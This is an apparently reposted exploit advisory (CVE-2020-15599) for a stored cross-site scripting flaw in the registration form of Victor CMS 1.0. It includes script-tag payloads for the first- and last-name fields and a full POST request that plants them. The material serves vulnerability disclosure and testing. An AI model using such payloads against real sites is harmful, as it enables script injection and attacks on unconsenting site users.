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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2020-06-28
# Exploit Author: Anushree Priyadarshini
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link:https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
# CVE: CVE-2020-15599

Description: The form parameter 'user_firstname' and 'user_lastname' is vulnerable to stored cross site scripting

Payload for 'user_firstname' : <script>alert(1)</script> 

Payload for 'user_lastname' : <script>alert(2)</script>



POST /CMSsite-master/register.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9,en-GB;q=0.8,en-CA;q=0.7,zh-CN;q=0.6,zh-HK;q=0.5,zh-SG;q=0.4,zh-TW;q=0.3,ja;q=0.2,ko;q=0.1
Accept-Encoding: gzip, deflate
Referer: http://localhost/CMSsite-master/register.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 190
Connection: close
Cookie: PHPSESSID=491d4jir62vldd0u84knd1m1fi
Upgrade-Insecure-Requests: 1

user_name=DemoUser&user_firstname=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&user_lastname=%3Cscript%3Ealert%282%29%3B%3C%2Fscript%3E&user_email=Hack%40gmail.com&user_password=1234&register=